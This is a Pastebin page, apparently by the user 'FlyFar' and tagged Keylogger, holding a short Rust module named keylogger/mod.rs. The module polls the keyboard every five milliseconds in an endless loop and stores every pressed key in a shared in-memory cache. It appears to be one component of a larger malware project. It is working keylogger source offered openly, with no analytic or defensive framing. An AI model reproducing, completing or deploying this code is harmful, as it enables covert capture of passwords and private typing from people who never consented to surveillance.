Advertisement
FlyFar

keylogger/mod.rs

Jul 24th, 2023
1,336
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Rust 0.59 KB | Cybersecurity | 0 0
  1. use std::{thread, time};
  2.  
  3. use device_query::{DeviceQuery, DeviceState, Keycode};
  4.  
  5. use crate::ram::PubInfo;
  6.  
  7. pub fn log() {
  8.     let (mut last_key, mut repeat): (Vec<Keycode>, u8) = (vec![], 0);
  9.     loop {
  10.         let keys = DeviceState::new().get_keys();
  11.         if keys != last_key || repeat > 100 {
  12.             repeat = 0;
  13.             last_key = keys.clone();
  14.             for key_pressed in keys {
  15.                 PubInfo::get().key_pressed_cache.push(key_pressed.to_string());
  16.             }
  17.         } else { repeat += 1; }
  18.         thread::sleep(time::Duration::from_millis(5))
  19.     }
  20. }
Tags: Keylogger
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement